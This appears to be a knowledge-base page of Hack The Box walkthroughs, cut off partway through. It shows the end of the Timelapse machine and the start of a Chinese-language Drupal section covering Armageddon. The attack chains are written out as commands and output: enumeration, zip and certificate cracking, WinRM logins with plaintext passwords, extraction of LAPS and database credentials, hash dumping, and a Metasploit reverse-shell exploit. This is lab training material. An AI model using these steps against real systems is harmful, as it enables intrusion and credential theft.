|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=timelapse,DC=htb
|       serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=timelapse,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=timelapse,DC=htb
|       namingContexts: DC=timelapse,DC=htb
|       namingContexts: CN=Configuration,DC=timelapse,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=timelapse,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=timelapse,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=timelapse,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 135273
|       dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=timelapse,DC=htb
|       dnsHostName: dc01.timelapse.htb
|       defaultNamingContext: DC=timelapse,DC=htb
|       currentTime: 20220327070426.0Z
|_      configurationNamingContext: CN=Configuration,DC=timelapse,DC=htb
Service Info: Host: DC01; OS: Windows

┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# ldapsearch -x -h 10.10.11.152 -s base namingContexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingContexts 
#

#
dn:
namingContexts: DC=timelapse,DC=htb
namingContexts: CN=Configuration,DC=timelapse,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=timelapse,DC=htb
namingContexts: DC=DomainDnsZones,DC=timelapse,DC=htb
namingContexts: DC=ForestDnsZones,DC=timelapse,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# enum4linux 10.10.11.152                                                                                                     1 ⨯
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Mar 26 19:11:03 2022

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.11.152
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ==================================================== 
|    Enumerating Workgroup/Domain on 10.10.11.152    |
 ==================================================== 
[E] Can't find workgroup/domain


 ============================================ 
|    Nbtstat Information for 10.10.11.152    |
 ============================================ 
Looking up status of 10.10.11.152
No reply from 10.10.11.152

 ===================================== 
|    Session Check on 10.10.11.152    |
 ===================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 10.10.11.152 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name: 

 =========================================== 
|    Getting domain SID for 10.10.11.152    |
 =========================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: TIMELAPSE
Domain Sid: S-1-5-21-671920749-559770252-3318990721
[+] Host is part of a domain (not a workgroup)

 ====================================== 
|    OS information on 10.10.11.152    |
 ====================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.11.152 from smbclient: 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.11.152 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ============================= 
|    Users on 10.10.11.152    |
 ============================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

 ========================================= 
|    Share Enumeration on 10.10.11.152    |
 ========================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.11.152

 ==================================================== 
|    Password Policy Information for 10.10.11.152    |
 ==================================================== 
[E] Unexpected error from polenum:


[+] Attaching to 10.10.11.152 using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:10.10.11.152)

[+] Trying protocol 445/SMB...

        [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.

[E] Failed to get password policy with rpcclient


 ============================== 
|    Groups on 10.10.11.152    |
 ============================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting builtin groups:

[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting local groups:

[+] Getting local group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.

[+] Getting domain groups:

[+] Getting domain group memberships:

 ======================================================================= 
|    Users on 10.10.11.152 via RID cycling (RIDS: 500-550,1000-1050)    |
 ======================================================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.

 ============================================= 
|    Getting printer info for 10.10.11.152    |
 ============================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991.
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Sat Mar 26 19:12:25 2022
```

#### user own

check smb share:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# smbclient -L 10.10.11.152
Enter WORKGROUP\root's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Shares          Disk      
        SYSVOL          Disk      Logon server share

┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# smbclient //10.10.11.152/Shares                                                                                             1 ⨯
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021
```

get those files in the folders:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2194.jpg)

and then crack the zip:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip


PASSWORD FOUND!!!!: pw == supremelegacy
```

we find a .pfx file, so we can check the below Reference link to read:

 - [Certificate (password-less) based authentication in WinRM](http://www.hurryupandwait.io/blog/certificate-password-less-based-authentication-in-winrm)

 - [Windows authentication without passwords in OpenStack](https://cloudbase.it/windows-without-passwords-in-openstack/)


then we known we need to crack legacyy_dev_auth.pfx import password by using john:

 - [How to run John Ripper attack to p12 password (educative pruposes)?](https://stackoverflow.com/questions/53547386/how-to-run-john-ripper-attack-to-p12-password-educative-pruposes)

or use this tool is fine:

 - [crackpkcs12](https://github.com/crackpkcs12/crackpkcs12)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# pfx2john legacyy_dev_auth.pfx |john --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin                                  1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 512/512 AVX512BW 16x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:16 DONE (2022-03-27 07:09) 0.06211g/s 200729p/s 200729c/s 200729C/s thumper1990..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

then:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.pem
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
Enter Import Password:
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# openssl rsa -in private.pem -out private2.pem
Enter pass phrase for private.pem:
writing RSA key
                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# ls
cert.crt             LAPS_OperationsGuide.docx         LAPS.x64.msi          private2.pem  winrm_backup.zip
LAPS_Datasheet.docx  LAPS_TechnicalSpecification.docx  legacyy_dev_auth.pfx  private.pem
```

and we have our user flag:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# evil-winrm -i 10.10.11.152 -u legacyy -k $PWD/private2.pem -c $PWD/cert.crt -p '' -S

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\legacyy\desktop> ls


    Directory: C:\Users\legacyy\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/25/2022   1:41 PM             34 user.txt


*Evil-WinRM* PS C:\Users\legacyy\desktop> cat user.txt
166f2015aeae2199676f67a86750ba3f
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2195.jpg)

#### root own

now we could fine some PowerShell/CMD History to check if there is some credentials

 - [PowerShell/CMD History](https://0xer3bus.gitbook.io/notes/windows/local-privilege-escalation/powershell-cmd-history)

``` bash
*Evil-WinRM* PS C:\Users\legacyy\desktop> cat $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

and we did it, now use evil-winrm to connect to it again:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# evil-winrm --ssl -u 'svc_deploy' -i 10.10.11.152 -p 'E3R$Q62^12p7PLlC%KWaxuaV'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
```

from smb share we got some .docx file, and we known ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime is important

and the ms-Mcs-AdmPwd change every times

let's grub it from Properties, then using it to get administrator:

``` bash
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> $Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> $Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

Name  DnsHostName        ms-Mcs-AdmPwd            ms-Mcs-AdmPwdExpirationTime
----  -----------        -------------            ---------------------------
WEB01
DEV01
DB01
DC01  dc01.timelapse.htb v)9F7Fjk+-dOuZvL45#8,3X9 132932562709368793
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# evil-winrm --ssl -u 'administrator' -i 10.10.11.152 -p 'v)9F7Fjk+-dOuZvL45#8,3X9'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\TRX\desktop\root.txt
37dcd487a3eec35ae5ee10d72003bb27
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2196.jpg)

#### Summary of knowledge

 - ldap enum
 - smb share enum
 - zip crack
 - p12 cert password crack
 - Certificate based authentication in WinRM
 - PowerShell/CMD History checkout
 - powershell command get ADComputer Properties credentials

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end timelapse -->

</details>




# Drupal 入口与本地权限衔接

同样的 CMS 入口可能接到完全不同的本地权限问题。本章对照 Drupal 的版本信息、配置文件、用户哈希与后续 snap、SUID 和内核路线，保留每段操作所处的身份。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/cms-drupal/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Armageddon 的 snap 分支保留原脚本失败后对载荷内容的处理。

Os-hackNos-1 的 wget 权限与 Lampiao 的内核竞争条件不能互相替代。

数据库凭据、文件权限和编译环境均随各案例完整保留。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [Drupal 凭据落点与 snap 权限](#case-armageddon) | Armageddon | Drupal、配置泄露、snap |
| [Drupal 执行与 wget 文件权限](#case-hacknos-os-hacknos-1) | hackNos-Os-hackNos-1 | Drupal、SUID、wget |
| [应用入口与 Dirty COW 分支](#case-lampiao-1) | Lampiao-1 | Drupal、Dirty COW、内核 |

<a id="case-armageddon"></a>

## Drupal 凭据落点与 snap 权限

Drupalgeddon2 提供初始执行，settings.php 中的数据库配置用于定位用户哈希。后半段保留了直接运行 dirty_sock 脚本失败后的 snap 内容提取方法。

<p class="kb-provenance">来源 Armageddon · 原记录 2021-03-29 · 12 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-armageddon">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Armageddon -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	27 Mar 2021
IP:	10.10.10.233

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1912.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Armageddon]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.233
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
```

So basically Two ports are opened 22:ssh 80:http

#### Port-80

There is a simple login page.
Let's check the source code for some juicy stuff.

``` bash
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />
```

I found the drupal version "Drupal 7".
Let's search on google for exploit for this specific version.

Found a rapid7 page

 - [Drupal Drupalgeddon 2 Forms API Property Injection](https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2/)

Let's try this real quick.

``` bash
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost tun0
lhost => tun0
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 10.10.10.233
rhost => 10.10.10.233
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       10.10.10.233     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.5:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.233:59810) at 2021-03-29 07:57:22 -0400
id

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username:  (48)
meterpreter > pwd
/var/www/html
meterpreter > ls
Listing: /var/www/html
======================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100644/rw-r--r--  317     fil   2017-06-21 14:20:18 -0400  .editorconfig
100644/rw-r--r--  174     fil   2017-06-21 14:20:18 -0400  .gitignore
100644/rw-r--r--  6112    fil   2017-06-21 14:20:18 -0400  .htaccess
100644/rw-r--r--  111613  fil   2017-06-21 14:20:18 -0400  CHANGELOG.txt
100644/rw-r--r--  1481    fil   2017-06-21 14:20:18 -0400  COPYRIGHT.txt
100644/rw-r--r--  1717    fil   2017-06-21 14:20:18 -0400  INSTALL.mysql.txt
100644/rw-r--r--  1874    fil   2017-06-21 14:20:18 -0400  INSTALL.pgsql.txt
100644/rw-r--r--  1298    fil   2017-06-21 14:20:18 -0400  INSTALL.sqlite.txt
100644/rw-r--r--  17995   fil   2017-06-21 14:20:18 -0400  INSTALL.txt
100644/rw-r--r--  18092   fil   2016-11-16 18:57:05 -0500  LICENSE.txt
100644/rw-r--r--  8710    fil   2017-06-21 14:20:18 -0400  MAINTAINERS.txt
100644/rw-r--r--  5382    fil   2017-06-21 14:20:18 -0400  README.txt
100644/rw-r--r--  10123   fil   2017-06-21 14:20:18 -0400  UPGRADE.txt
100644/rw-r--r--  6604    fil   2017-06-21 14:20:18 -0400  authorize.php
100644/rw-r--r--  720     fil   2017-06-21 14:20:18 -0400  cron.php
40755/rwxr-xr-x   4096    dir   2017-06-21 14:20:18 -0400  includes
100644/rw-r--r--  529     fil   2017-06-21 14:20:18 -0400  index.php
100644/rw-r--r--  703     fil   2017-06-21 14:20:18 -0400  install.php
100777/rwxrwxrwx  119357  fil   2021-03-28 22:59:36 -0400  linlog.txt
40755/rwxr-xr-x   4096    dir   2020-12-04 05:10:24 -0500  misc
40755/rwxr-xr-x   4096    dir   2017-06-21 14:20:18 -0400  modules
40755/rwxr-xr-x   70      dir   2017-06-21 14:20:18 -0400  profiles
100644/rw-r--r--  2189    fil   2017-06-21 14:20:18 -0400  robots.txt
40755/rwxr-xr-x   261     dir   2017-06-21 14:20:18 -0400  scripts
100755/rwxr-xr-x  55      fil   2021-03-28 22:43:06 -0400  shell.sh
40755/rwxr-xr-x   75      dir   2017-06-21 14:20:18 -0400  sites
40755/rwxr-xr-x   94      dir   2017-06-21 14:20:18 -0400  themes
100644/rw-r--r--  19986   fil   2017-06-21 14:20:18 -0400  update.php
100644/rw-r--r--  2200    fil   2017-06-21 14:20:18 -0400  web.config
100644/rw-r--r--  417     fil   2017-06-21 14:20:18 -0400  xmlrpc.php
```

We got the shell.

Now let's enumerate some good stuff.

I found an interesting file called settings.php inside /var/www/html/sites/default/ directory. which has contain mysql creads.

``` bash
meterpreter > ls
Listing: /var/www/html/sites/default
====================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  26250  fil   2017-06-21 14:20:18 -0400  default.settings.php
40775/rwxrwxr-x   37     dir   2020-12-03 07:32:39 -0500  files
100444/r--r--r--  26565  fil   2020-12-03 07:32:37 -0500  settings.php

meterpreter > cat settings.php
'''
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
'''
```

But before connect to the mysql let's spawn a stable shell first.

python3 tty shell doesn't spawn So let's try connect with mysql without tty shell.

``` bash
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
Database
information_schema
drupal
mysql
performance_schema
```

It's work let's fetch the tables inside drupal database.

``` bash
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;'
Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog
```

Now let's dump the username and hashes inside users table.

``` bash
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;'
name    pass

brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
hacker  $S$DUnQhzNDVFOtAeb0JLMAtUesQM9iI1ZvcOixoulqd98XsmmEyE2b
```

Now we have the hashes let's try to crack it.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Armageddon]
└─# john hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo           (?)
```

We got the password for brucetherealadmin:booboo

Let's ssh in real quick and get the user.txt.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Armageddon]
└─# ssh brucetherealadmin@10.10.10.233
The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.233' (ECDSA) to the list of known hosts.
brucetherealadmin@10.10.10.233's password: 
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) 组=1000(brucetherealadmin) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ whoami
brucetherealadmin
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
da64e52c766febd51f05a14be029868f
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1913.jpg)

#### Privilege escalation

Before running linpeas let's try manually first.

``` bash
[brucetherealadmin@armageddon ~]$ sudo -l
匹配 %2$s 上 %1$s 的默认条目：
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME
    HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

用户 brucetherealadmin 可以在 armageddon 上运行以下命令：
    (root) NOPASSWD: /usr/bin/snap install *
```

Let's google it for Privilege escalation.

 - [Privilege Escalation in Ubuntu Linux (dirty_sock exploit)](https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html)
 - [dirty_sockv2.py](https://github.com/initstring/dirty_sock/blob/master/dirty_sockv2.py)

This github python script doesn't work in this case so in this script we only need the base64 string and then we decode the base64 string and save it in file.

``` bash
